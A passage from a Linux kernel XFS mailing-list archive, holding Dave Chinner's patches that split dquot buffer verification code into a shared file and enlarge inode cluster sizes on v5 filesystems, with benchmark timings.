buffer operations out Message-Id: <1380510433-8353-4-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1380510433-8353-1-git-send-email-david@fromorbit.com> References: <1380510433-8353-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1380510445 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.141043 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner Parts of userspace want to be able to read and modify dquot buffers (e.g. xfs_db) so we need to split out the reading and writing of these buffers so it is easy to shared code with libxfs in userspace. Signed-off-by: Dave Chinner --- fs/xfs/Makefile | 1 + fs/xfs/xfs_dquot.c | 117 +------------------ fs/xfs/xfs_dquot_buf.c | 288 +++++++++++++++++++++++++++++++++++++++++++++++ fs/xfs/xfs_log_recover.c | 133 +--------------------- fs/xfs/xfs_qm.c | 22 +--- fs/xfs/xfs_qm.h | 2 - fs/xfs/xfs_quota.h | 2 - fs/xfs/xfs_quota_defs.h | 4 + 8 files changed, 303 insertions(+), 266 deletions(-) create mode 100644 fs/xfs/xfs_dquot_buf.c diff --git a/fs/xfs/Makefile b/fs/xfs/Makefile index 0719e4d..08f11bb 100644 --- a/fs/xfs/Makefile +++ b/fs/xfs/Makefile @@ -72,6 +72,7 @@ xfs-y += xfs_alloc.o \ xfs_dir2_leaf.o \ xfs_dir2_node.o \ xfs_dir2_sf.o \ + xfs_dquot_buf.o \ xfs_ialloc.o \ xfs_ialloc_btree.o \ xfs_icreate_item.o \ diff --git a/fs/xfs/xfs_dquot.c b/fs/xfs/xfs_dquot.c index 8b1d2c0..f85a893 100644 --- a/fs/xfs/xfs_dquot.c +++ b/fs/xfs/xfs_dquot.c @@ -293,118 +293,6 @@ xfs_dquot_set_prealloc_limits(struct xfs_dquot *dqp) dqp->q_low_space[XFS_QLOWSP_5_PCNT] = space * 5; } -STATIC bool -xfs_dquot_buf_verify_crc( - struct xfs_mount *mp, - struct xfs_buf *bp) -{ - struct xfs_dqblk *d = (struct xfs_dqblk *)bp->b_addr; - int ndquots; - int i; - - if (!xfs_sb_version_hascrc(&mp->m_sb)) - return true; - - /* - * if we are in log recovery, the quota subsystem has not been - * initialised so we have no quotainfo structure. In that case, we need - * to manually calculate the number of dquots in the buffer. - */ - if (mp->m_quotainfo) - ndquots = mp->m_quotainfo->qi_dqperchunk; - else - ndquots = xfs_qm_calc_dquots_per_chunk(mp, - XFS_BB_TO_FSB(mp, bp->b_length)); - - for (i = 0; i < ndquots; i++, d++) { - if (!xfs_verify_cksum((char *)d, sizeof(struct xfs_dqblk), - XFS_DQUOT_CRC_OFF)) - return false; - if (!uuid_equal(&d->dd_uuid, &mp->m_sb.sb_uuid)) - return false; - } - return true; -} - -STATIC bool -xfs_dquot_buf_verify( - struct xfs_mount *mp, - struct xfs_buf *bp) -{ - struct xfs_dqblk *d = (struct xfs_dqblk *)bp->b_addr; - xfs_dqid_t id = 0; - int ndquots; - int i; - - /* - * if we are in log recovery, the quota subsystem has not been - * initialised so we have no quotainfo structure. In that case, we need - * to manually calculate the number of dquots in the buffer. - */ - if (mp->m_quotainfo) - ndquots = mp->m_quotainfo->qi_dqperchunk; - else - ndquots = xfs_qm_calc_dquots_per_chunk(mp, bp->b_length); - - /* - * On the first read of the buffer, verify that each dquot is valid. - * We don't know what the id of the dquot is supposed to be, just that - * they should be increasing monotonically within the buffer. If the - * first id is corrupt, then it will fail on the second dquot in the - * buffer so corruptions could point to the wrong dquot in this case. - */ - for (i = 0; i < ndquots; i++) { - struct xfs_disk_dquot *ddq; - int error; - - ddq = &d[i].dd_diskdq; - - if (i == 0) - id = be32_to_cpu(ddq->d_id); - - error = xfs_qm_dqcheck(mp, ddq, id + i, 0, XFS_QMOPT_DOWARN, - "xfs_dquot_buf_verify"); - if (error) - return false; - } - return true; -} - -static void -xfs_dquot_buf_read_verify( - struct xfs_buf *bp) -{ - struct xfs_mount *mp = bp->b_target->bt_mount; - - if (!xfs_dquot_buf_verify_crc(mp, bp) || !xfs_dquot_buf_verify(mp, bp)) { - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); - xfs_buf_ioerror(bp, EFSCORRUPTED); - } -} - -/* - * we don't calculate the CRC here as that is done when the dquot is flushed to - * the buffer after the update is done. This ensures that the dquot in the - * buffer always has an up-to-date CRC value. - */ -void -xfs_dquot_buf_write_verify( - struct xfs_buf *bp) -{ - struct xfs_mount *mp = bp->b_target->bt_mount; - - if (!xfs_dquot_buf_verify(mp, bp)) { - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); - xfs_buf_ioerror(bp, EFSCORRUPTED); - return; - } -} - -const struct xfs_buf_ops xfs_dquot_buf_ops = { - .verify_read = xfs_dquot_buf_read_verify, - .verify_write = xfs_dquot_buf_write_verify, -}; - /* * Allocate a block and fill it with dquots. * This is called when the bmapi finds a hole. @@ -515,6 +403,7 @@ xfs_qm_dqalloc( return (error); } + STATIC int xfs_qm_dqrepair( struct xfs_mount *mp, @@ -548,7 +437,7 @@ xfs_qm_dqrepair( /* Do the actual repair of dquots in this buffer */ for (i = 0; i < mp->m_quotainfo->qi_dqperchunk; i++) { ddq = &d[i].dd_diskdq; - error = xfs_qm_dqcheck(mp, ddq, firstid + i, + error = xfs_dqcheck(mp, ddq, firstid + i, dqp->dq_flags & XFS_DQ_ALLTYPES, XFS_QMOPT_DQREPAIR, "xfs_qm_dqrepair"); if (error) { @@ -1134,7 +1023,7 @@ xfs_qm_dqflush( /* * A simple sanity check in case we got a corrupted dquot.. */ - error = xfs_qm_dqcheck(mp, &dqp->q_core, be32_to_cpu(ddqp->d_id), 0, + error = xfs_dqcheck(mp, &dqp->q_core, be32_to_cpu(ddqp->d_id), 0, XFS_QMOPT_DOWARN, "dqflush (incore copy)"); if (error) { xfs_buf_relse(bp); diff --git a/fs/xfs/xfs_dquot_buf.c b/fs/xfs/xfs_dquot_buf.c new file mode 100644 index 0000000..ad2c18f --- /dev/null +++ b/fs/xfs/xfs_dquot_buf.c @@ -0,0 +1,288 @@ +/* + * Copyright (c) 2000-2006 Silicon Graphics, Inc. + * Copyright (c) 2013 Red Hat, Inc. + * All Rights Reserved. + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as + * published by the Free Software Foundation. + * + * This program is distributed in the hope that it would be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write the Free Software Foundation, + * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA + */ +#include "xfs.h" +#include "xfs_fs.h" +#include "xfs_format.h" +#include "xfs_bit.h" +#include "xfs_log.h" +#include "xfs_trans.h" +#include "xfs_sb.h" +#include "xfs_ag.h" +#include "xfs_mount.h" +#include "xfs_bmap_btree.h" +#include "xfs_inode.h" +#include "xfs_quota.h" +#include "xfs_qm.h" +#include "xfs_error.h" +#include "xfs_cksum.h" +#include "xfs_trace.h" + +int +xfs_calc_dquots_per_chunk( + struct xfs_mount *mp, + unsigned int nbblks) /* basic block units */ +{ + unsigned int ndquots; + + ASSERT(nbblks > 0); + ndquots = BBTOB(nbblks); + do_div(ndquots, sizeof(xfs_dqblk_t)); + + return ndquots; +} + +/* + * Do some primitive error checking on ondisk dquot data structures. + */ +int +xfs_dqcheck( + struct xfs_mount *mp, + xfs_disk_dquot_t *ddq, + xfs_dqid_t id, + uint type, /* used only when IO_dorepair is true */ + uint flags, + char *str) +{ + xfs_dqblk_t *d = (xfs_dqblk_t *)ddq; + int errs = 0; + + /* + * We can encounter an uninitialized dquot buffer for 2 reasons: + * 1. If we crash while deleting the quotainode(s), and those blks got + * used for user data. This is because we take the path of regular + * file deletion; however, the size field of quotainodes is never + * updated, so all the tricks that we play in itruncate_finish + * don't quite matter. + * + * 2. We don't play the quota buffers when there's a quotaoff logitem. + * But the allocation will be replayed so we'll end up with an + * uninitialized quota block. + * + * This is all fine; things are still consistent, and we haven't lost + * any quota information. Just don't complain about bad dquot blks. + */ + if (ddq->d_magic != cpu_to_be16(XFS_DQUOT_MAGIC)) { + if (flags & XFS_QMOPT_DOWARN) + xfs_alert(mp, + "%s : XFS dquot ID 0x%x, magic 0x%x != 0x%x", + str, id, be16_to_cpu(ddq->d_magic), XFS_DQUOT_MAGIC); + errs++; + } + if (ddq->d_version != XFS_DQUOT_VERSION) { + if (flags & XFS_QMOPT_DOWARN) + xfs_alert(mp, + "%s : XFS dquot ID 0x%x, version 0x%x != 0x%x", + str, id, ddq->d_version, XFS_DQUOT_VERSION); + errs++; + } + + if (ddq->d_flags != XFS_DQ_USER && + ddq->d_flags != XFS_DQ_PROJ && + ddq->d_flags != XFS_DQ_GROUP) { + if (flags & XFS_QMOPT_DOWARN) + xfs_alert(mp, + "%s : XFS dquot ID 0x%x, unknown flags 0x%x", + str, id, ddq->d_flags); + errs++; + } + + if (id != -1 && id != be32_to_cpu(ddq->d_id)) { + if (flags & XFS_QMOPT_DOWARN) + xfs_alert(mp, + "%s : ondisk-dquot 0x%p, ID mismatch: " + "0x%x expected, found id 0x%x", + str, ddq, id, be32_to_cpu(ddq->d_id)); + errs++; + } + + if (!errs && ddq->d_id) { + if (ddq->d_blk_softlimit && + be64_to_cpu(ddq->d_bcount) > + be64_to_cpu(ddq->d_blk_softlimit)) { + if (!ddq->d_btimer) { + if (flags & XFS_QMOPT_DOWARN) + xfs_alert(mp, + "%s : Dquot ID 0x%x (0x%p) BLK TIMER NOT STARTED", + str, (int)be32_to_cpu(ddq->d_id), ddq); + errs++; + } + } + if (ddq->d_ino_softlimit && + be64_to_cpu(ddq->d_icount) > + be64_to_cpu(ddq->d_ino_softlimit)) { + if (!ddq->d_itimer) { + if (flags & XFS_QMOPT_DOWARN) + xfs_alert(mp, + "%s : Dquot ID 0x%x (0x%p) INODE TIMER NOT STARTED", + str, (int)be32_to_cpu(ddq->d_id), ddq); + errs++; + } + } + if (ddq->d_rtb_softlimit && + be64_to_cpu(ddq->d_rtbcount) > + be64_to_cpu(ddq->d_rtb_softlimit)) { + if (!ddq->d_rtbtimer) { + if (flags & XFS_QMOPT_DOWARN) + xfs_alert(mp, + "%s : Dquot ID 0x%x (0x%p) RTBLK TIMER NOT STARTED", + str, (int)be32_to_cpu(ddq->d_id), ddq); + errs++; + } + } + } + + if (!errs || !(flags & XFS_QMOPT_DQREPAIR)) + return errs; + + if (flags & XFS_QMOPT_DOWARN) + xfs_notice(mp, "Re-initializing dquot ID 0x%x", id); + + /* + * Typically, a repair is only requested by quotacheck. + */ + ASSERT(id != -1); + ASSERT(flags & XFS_QMOPT_DQREPAIR); + memset(d, 0, sizeof(xfs_dqblk_t)); + + d->dd_diskdq.d_magic = cpu_to_be16(XFS_DQUOT_MAGIC); + d->dd_diskdq.d_version = XFS_DQUOT_VERSION; + d->dd_diskdq.d_flags = type; + d->dd_diskdq.d_id = cpu_to_be32(id); + + if (xfs_sb_version_hascrc(&mp->m_sb)) { + uuid_copy(&d->dd_uuid, &mp->m_sb.sb_uuid); + xfs_update_cksum((char *)d, sizeof(struct xfs_dqblk), + XFS_DQUOT_CRC_OFF); + } + + return errs; +} + +STATIC bool +xfs_dquot_buf_verify_crc( + struct xfs_mount *mp, + struct xfs_buf *bp) +{ + struct xfs_dqblk *d = (struct xfs_dqblk *)bp->b_addr; + int ndquots; + int i; + + if (!xfs_sb_version_hascrc(&mp->m_sb)) + return true; + + /* + * if we are in log recovery, the quota subsystem has not been + * initialised so we have no quotainfo structure. In that case, we need + * to manually calculate the number of dquots in the buffer. + */ + if (mp->m_quotainfo) + ndquots = mp->m_quotainfo->qi_dqperchunk; + else + ndquots = xfs_calc_dquots_per_chunk(mp, + XFS_BB_TO_FSB(mp, bp->b_length)); + + for (i = 0; i < ndquots; i++, d++) { + if (!xfs_verify_cksum((char *)d, sizeof(struct xfs_dqblk), + XFS_DQUOT_CRC_OFF)) + return false; + if (!uuid_equal(&d->dd_uuid, &mp->m_sb.sb_uuid)) + return false; + } + return true; +} + +STATIC bool +xfs_dquot_buf_verify( + struct xfs_mount *mp, + struct xfs_buf *bp) +{ + struct xfs_dqblk *d = (struct xfs_dqblk *)bp->b_addr; + xfs_dqid_t id = 0; + int ndquots; + int i; + + /* + * if we are in log recovery, the quota subsystem has not been + * initialised so we have no quotainfo structure. In that case, we need + * to manually calculate the number of dquots in the buffer. + */ + if (mp->m_quotainfo) + ndquots = mp->m_quotainfo->qi_dqperchunk; + else + ndquots = xfs_calc_dquots_per_chunk(mp, bp->b_length); + + /* + * On the first read of the buffer, verify that each dquot is valid. + * We don't know what the id of the dquot is supposed to be, just that + * they should be increasing monotonically within the buffer. If the + * first id is corrupt, then it will fail on the second dquot in the + * buffer so corruptions could point to the wrong dquot in this case. + */ + for (i = 0; i < ndquots; i++) { + struct xfs_disk_dquot *ddq; + int error; + + ddq = &d[i].dd_diskdq; + + if (i == 0) + id = be32_to_cpu(ddq->d_id); + + error = xfs_dqcheck(mp, ddq, id + i, 0, XFS_QMOPT_DOWARN, + "xfs_dquot_buf_verify"); + if (error) + return false; + } + return true; +} + +static void +xfs_dquot_buf_read_verify( + struct xfs_buf *bp) +{ + struct xfs_mount *mp = bp->b_target->bt_mount; + + if (!xfs_dquot_buf_verify_crc(mp, bp) || !xfs_dquot_buf_verify(mp, bp)) { + XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); + xfs_buf_ioerror(bp, EFSCORRUPTED); + } +} + +/* + * we don't calculate the CRC here as that is done when the dquot is flushed to + * the buffer after the update is done. This ensures that the dquot in the + * buffer always has an up-to-date CRC value. + */ +void +xfs_dquot_buf_write_verify( + struct xfs_buf *bp) +{ + struct xfs_mount *mp = bp->b_target->bt_mount; + + if (!xfs_dquot_buf_verify(mp, bp)) { + XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); + xfs_buf_ioerror(bp, EFSCORRUPTED); + return; + } +} + +const struct xfs_buf_ops xfs_dquot_buf_ops = { + .verify_read = xfs_dquot_buf_read_verify, + .verify_write = xfs_dquot_buf_write_verify, +}; + diff --git a/fs/xfs/xfs_log_recover.c b/fs/xfs/xfs_log_recover.c index 078f25e..e4260fa 100644 --- a/fs/xfs/xfs_log_recover.c +++ b/fs/xfs/xfs_log_recover.c @@ -2362,7 +2362,7 @@ xlog_recover_do_reg_buffer( item->ri_buf[i].i_len, __func__); goto next; } - error = xfs_qm_dqcheck(mp, item->ri_buf[i].i_addr, + error = xfs_dqcheck(mp, item->ri_buf[i].i_addr, -1, 0, XFS_QMOPT_DOWARN, "dquot_buf_recover"); if (error) @@ -2394,133 +2394,6 @@ xlog_recover_do_reg_buffer( } /* - * Do some primitive error checking on ondisk dquot data structures. - */ -int -xfs_qm_dqcheck( - struct xfs_mount *mp, - xfs_disk_dquot_t *ddq, - xfs_dqid_t id, - uint type, /* used only when IO_dorepair is true */ - uint flags, - char *str) -{ - xfs_dqblk_t *d = (xfs_dqblk_t *)ddq; - int errs = 0; - - /* - * We can encounter an uninitialized dquot buffer for 2 reasons: - * 1. If we crash while deleting the quotainode(s), and those blks got - * used for user data. This is because we take the path of regular - * file deletion; however, the size field of quotainodes is never - * updated, so all the tricks that we play in itruncate_finish - * don't quite matter. - * - * 2. We don't play the quota buffers when there's a quotaoff logitem. - * But the allocation will be replayed so we'll end up with an - * uninitialized quota block. - * - * This is all fine; things are still consistent, and we haven't lost - * any quota information. Just don't complain about bad dquot blks. - */ - if (ddq->d_magic != cpu_to_be16(XFS_DQUOT_MAGIC)) { - if (flags & XFS_QMOPT_DOWARN) - xfs_alert(mp, - "%s : XFS dquot ID 0x%x, magic 0x%x != 0x%x", - str, id, be16_to_cpu(ddq->d_magic), XFS_DQUOT_MAGIC); - errs++; - } - if (ddq->d_version != XFS_DQUOT_VERSION) { - if (flags & XFS_QMOPT_DOWARN) - xfs_alert(mp, - "%s : XFS dquot ID 0x%x, version 0x%x != 0x%x", - str, id, ddq->d_version, XFS_DQUOT_VERSION); - errs++; - } - - if (ddq->d_flags != XFS_DQ_USER && - ddq->d_flags != XFS_DQ_PROJ && - ddq->d_flags != XFS_DQ_GROUP) { - if (flags & XFS_QMOPT_DOWARN) - xfs_alert(mp, - "%s : XFS dquot ID 0x%x, unknown flags 0x%x", - str, id, ddq->d_flags); - errs++; - } - - if (id != -1 && id != be32_to_cpu(ddq->d_id)) { - if (flags & XFS_QMOPT_DOWARN) - xfs_alert(mp, - "%s : ondisk-dquot 0x%p, ID mismatch: " - "0x%x expected, found id 0x%x", - str, ddq, id, be32_to_cpu(ddq->d_id)); - errs++; - } - - if (!errs && ddq->d_id) { - if (ddq->d_blk_softlimit && - be64_to_cpu(ddq->d_bcount) > - be64_to_cpu(ddq->d_blk_softlimit)) { - if (!ddq->d_btimer) { - if (flags & XFS_QMOPT_DOWARN) - xfs_alert(mp, - "%s : Dquot ID 0x%x (0x%p) BLK TIMER NOT STARTED", - str, (int)be32_to_cpu(ddq->d_id), ddq); - errs++; - } - } - if (ddq->d_ino_softlimit && - be64_to_cpu(ddq->d_icount) > - be64_to_cpu(ddq->d_ino_softlimit)) { - if (!ddq->d_itimer) { - if (flags & XFS_QMOPT_DOWARN) - xfs_alert(mp, - "%s : Dquot ID 0x%x (0x%p) INODE TIMER NOT STARTED", - str, (int)be32_to_cpu(ddq->d_id), ddq); - errs++; - } - } - if (ddq->d_rtb_softlimit && - be64_to_cpu(ddq->d_rtbcount) > - be64_to_cpu(ddq->d_rtb_softlimit)) { - if (!ddq->d_rtbtimer) { - if (flags & XFS_QMOPT_DOWARN) - xfs_alert(mp, - "%s : Dquot ID 0x%x (0x%p) RTBLK TIMER NOT STARTED", - str, (int)be32_to_cpu(ddq->d_id), ddq); - errs++; - } - } - } - - if (!errs || !(flags & XFS_QMOPT_DQREPAIR)) - return errs; - - if (flags & XFS_QMOPT_DOWARN) - xfs_notice(mp, "Re-initializing dquot ID 0x%x", id); - - /* - * Typically, a repair is only requested by quotacheck. - */ - ASSERT(id != -1); - ASSERT(flags & XFS_QMOPT_DQREPAIR); - memset(d, 0, sizeof(xfs_dqblk_t)); - - d->dd_diskdq.d_magic = cpu_to_be16(XFS_DQUOT_MAGIC); - d->dd_diskdq.d_version = XFS_DQUOT_VERSION; - d->dd_diskdq.d_flags = type; - d->dd_diskdq.d_id = cpu_to_be32(id); - - if (xfs_sb_version_hascrc(&mp->m_sb)) { - uuid_copy(&d->dd_uuid, &mp->m_sb.sb_uuid); - xfs_update_cksum((char *)d, sizeof(struct xfs_dqblk), - XFS_DQUOT_CRC_OFF); - } - - return errs; -} - -/* * Perform a dquot buffer recovery. * Simple algorithm: if we have found a QUOTAOFF log item of the same type * (ie. USR or GRP), then just toss this buffer away; don't recover it. @@ -3125,7 +2998,7 @@ xlog_recover_dquot_pass2( */ dq_f = item->ri_buf[0].i_addr; ASSERT(dq_f); - error = xfs_qm_dqcheck(mp, recddq, dq_f->qlf_id, 0, XFS_QMOPT_DOWARN, + error = xfs_dqcheck(mp, recddq, dq_f->qlf_id, 0, XFS_QMOPT_DOWARN, "xlog_recover_dquot_pass2 (log copy)"); if (error) return XFS_ERROR(EIO); @@ -3145,7 +3018,7 @@ xlog_recover_dquot_pass2( * was among a chunk of dquots created earlier, and we did some * minimal initialization then. */ - error = xfs_qm_dqcheck(mp, ddq, dq_f->qlf_id, 0, XFS_QMOPT_DOWARN, + error = xfs_dqcheck(mp, ddq, dq_f->qlf_id, 0, XFS_QMOPT_DOWARN, "xlog_recover_dquot_pass2"); if (error) { xfs_buf_relse(bp); diff --git a/fs/xfs/xfs_qm.c b/fs/xfs/xfs_qm.c index dc2d4f7..6dfb4e3 100644 --- a/fs/xfs/xfs_qm.c +++ b/fs/xfs/xfs_qm.c @@ -665,20 +665,6 @@ xfs_qm_dqdetach( } } -int -xfs_qm_calc_dquots_per_chunk( - struct xfs_mount *mp, - unsigned int nbblks) /* basic block units */ -{ - unsigned int ndquots; - - ASSERT(nbblks > 0); - ndquots = BBTOB(nbblks); - do_div(ndquots, sizeof(xfs_dqblk_t)); - - return ndquots; -} - struct xfs_qm_isolate { struct list_head buffers; struct list_head dispose; @@ -859,7 +845,7 @@ xfs_qm_init_quotainfo( /* Precalc some constants */ qinf->qi_dqchunklen = XFS_FSB_TO_BB(mp, XFS_DQUOT_CLUSTER_SIZE_FSB); - qinf->qi_dqperchunk = xfs_qm_calc_dquots_per_chunk(mp, + qinf->qi_dqperchunk = xfs_calc_dquots_per_chunk(mp, qinf->qi_dqchunklen); mp->m_qflags |= (mp->m_sb.sb_qflags & XFS_ALL_QUOTA_CHKD); @@ -1093,10 +1079,10 @@ xfs_qm_reset_dqcounts( /* * Do a sanity check, and if needed, repair the dqblk. Don't * output any warnings because it's perfectly possible to - * find uninitialised dquot blks. See comment in xfs_qm_dqcheck. + * find uninitialised dquot blks. See comment in xfs_dqcheck. */ - (void) xfs_qm_dqcheck(mp, ddq, id+j, type, XFS_QMOPT_DQREPAIR, - "xfs_quotacheck"); + xfs_dqcheck(mp, ddq, id+j, type, XFS_QMOPT_DQREPAIR, + "xfs_quotacheck"); ddq->d_bcount = 0; ddq->d_icount = 0; ddq->d_rtbcount = 0; diff --git a/fs/xfs/xfs_qm.h b/fs/xfs/xfs_qm.h index 2b602df..a788b66 100644 --- a/fs/xfs/xfs_qm.h +++ b/fs/xfs/xfs_qm.h @@ -103,8 +103,6 @@ xfs_dq_to_quota_inode(struct xfs_dquot *dqp) return NULL; } -extern int xfs_qm_calc_dquots_per_chunk(struct xfs_mount *mp, - unsigned int nbblks); extern void xfs_trans_mod_dquot(struct xfs_trans *, struct xfs_dquot *, uint, long); extern int xfs_trans_reserve_quota_bydquots(struct xfs_trans *, diff --git a/fs/xfs/xfs_quota.h b/fs/xfs/xfs_quota.h index 84661d4..5376dd4 100644 --- a/fs/xfs/xfs_quota.h +++ b/fs/xfs/xfs_quota.h @@ -150,8 +150,6 @@ static inline int xfs_trans_reserve_quota_bydquots(struct xfs_trans *tp, xfs_trans_reserve_quota_bydquots(tp, mp, ud, gd, pd, nb, ni, \ f | XFS_QMOPT_RES_REGBLKS) -extern int xfs_qm_dqcheck(struct xfs_mount *, xfs_disk_dquot_t *, - xfs_dqid_t, uint, uint, char *); extern int xfs_mount_reset_sbqflags(struct xfs_mount *); #endif /* __XFS_QUOTA_H__ */ diff --git a/fs/xfs/xfs_quota_defs.h b/fs/xfs/xfs_quota_defs.h index e6b0d6e..b3b2b10 100644 --- a/fs/xfs/xfs_quota_defs.h +++ b/fs/xfs/xfs_quota_defs.h @@ -154,4 +154,8 @@ typedef __uint16_t xfs_qwarncnt_t; (XFS_QMOPT_UQUOTA | XFS_QMOPT_PQUOTA | XFS_QMOPT_GQUOTA) #define XFS_QMOPT_RESBLK_MASK (XFS_QMOPT_RES_REGBLKS | XFS_QMOPT_RES_RTBLKS) +extern int xfs_dqcheck(struct xfs_mount *mp, xfs_disk_dquot_t *ddq, + xfs_dqid_t id, uint type, uint flags, char *str); +extern int xfs_calc_dquots_per_chunk(struct xfs_mount *mp, unsigned int nbblks); + #endif /* __XFS_QUOTA_H__ */ -- 1.8.3.2 From dave@fromorbit.com Sun Sep 29 22:07:29 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id D45557F53 for ; Sun, 29 Sep 2013 22:07:29 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id C4ED4304039 for ; Sun, 29 Sep 2013 20:07:29 -0700 (PDT) X-ASG-Debug-ID: 1380510445-04cb6c153d159b0a0002-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id kcMwFP4IFB0HAtZ1 for ; Sun, 29 Sep 2013 20:07:28 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlsGAPLpSFJ5LCC0/2dsb2JhbABagweteZUrF3SCJQEBBScvMwgYMTkDGxmIBbwGjhKFaAOpeIM2KoEsAh4G Received: from ppp121-44-32-180.lns20.syd6.internode.on.net (HELO dastard) ([121.44.32.180]) by ipmail06.adl6.internode.on.net with ESMTP; 30 Sep 2013 12:37:23 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VQTpO-0006Lx-Ts for xfs@oss.sgi.com; Mon, 30 Sep 2013 13:07:19 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VQTpO-0002Ck-St for xfs@oss.sgi.com; Mon, 30 Sep 2013 13:07:18 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 16/16] xfs: increase inode cluster size for v5 filesystems Date: Mon, 30 Sep 2013 13:07:13 +1000 X-ASG-Orig-Subj: [PATCH 16/16] xfs: increase inode cluster size for v5 filesystems Message-Id: <1380510433-8353-17-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1380510433-8353-1-git-send-email-david@fromorbit.com> References: <1380510433-8353-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1380510447 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.141043 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner v5 filesystems use 512 byte inodes as a minimum, so read inodes in clusters that are effectively half the size of a v4 filesystem with 256 byte inodes. For v5 fielsystems, scale the inode cluster size with the size of the inode so that we keep a constant 32 inodes per cluster ratio for all inode IO. This only works if mkfs.xfs sets the inode alignment appropriately for larger inode clusters, so this functionality is made conditional on mkfs doing the right thing. xfs_repair needs to know about the inode alignment changes, too. Wall time: create bulkstat find+stat ls -R unlink v4 237s 161s 173s 201s 299s v5 235s 163s 205s 31s 356s patched 234s 160s 182s 29s 317s System time: create bulkstat find+stat ls -R unlink v4 2601s 2490s 1653s 1656s 2960s v5 2637s 2497s 1681s 20s 3216s patched 2613s 2451s 1658s 20s 3007s So, wall time same or down across the board, system time same or down across the board, and cache hit rates all improve except for the ls -R case which is a pure cold cache directory read workload on v5 filesystems... So, this patch removes most of the performance and CPU usage differential between v4 and v5 filesystems on traversal related workloads. Note: while this patch is currently for v5 filesystems only, there is no reason it can't be ported back to v4 filesystems. This hasn't been done here because bringing the code back to v4 requires forwards and backwards kernel compatibility testing. i.e. to deterine if older kernels(*) do the right thing with larger inode alignments but still only using 8k inode cluster sizes. None of this testing and validation on v4 filesystems has been done, so for the moment larger inode clusters is limited to v5 superblocks. (*) a current default config v4 filesystem should mount just fine on 2.6.23 (when lazy-count support was introduced), and so if we change the alignment emitted by mkfs without a feature bit then we have to make sure it works properly on all kernels since 2.6.23. And if we allow it to be changed when the lazy-count bit is not set, then it's all kernels since v2 logs were introduced that need to be tested for compatibility... Signed-off-by: Dave Chinner --- fs/xfs/xfs_mount.c | 15 +++++++++++++++ fs/xfs/xfs_mount.h | 2 +- fs/xfs/xfs_trans_resv.c | 3 +-- 3 files changed, 17 insertions(+), 3 deletions(-) diff --git a/fs/xfs/xfs_mount.c b/fs/xfs/xfs_mount.c index da88f16..02df7b4 100644 --- a/fs/xfs/xfs_mount.c +++ b/fs/xfs/xfs_mount.c @@ -41,6 +41,7 @@ #include "xfs_fsops.h" #include "xfs_trace.h" #include "xfs_icache.h" +#include "xfs_dinode.h" #ifdef HAVE_PERCPU_SB @@ -718,8 +719,22 @@ xfs_mountfs( * Set the inode cluster size. * This may still be overridden by the file system * block size if it is larger than the chosen cluster size. + * + * For v5 filesystems, scale the cluster size with the inode size to + * keep a constant ratio of inode per cluster buffer, but only if mkfs + * has set the inode alignment value appropriately for larger cluster + * sizes. */ mp->m_inode_cluster_size = XFS_INODE_BIG_CLUSTER_SIZE; + if (xfs_sb_version_hascrc(&mp->m_sb)) { + int new_size = mp->m_inode_cluster_size; + + new_size *= mp->m_sb.sb_inodesize / XFS_DINODE_MIN_SIZE; + if (mp->m_sb.sb_inoalignmt >= XFS_B_TO_FSBT(mp, new_size)) + mp->m_inode_cluster_size = new_size; + xfs_info(mp, "Using inode cluster size of %d bytes", + mp->m_inode_cluster_size); + } /* * Set inode alignment fields diff --git 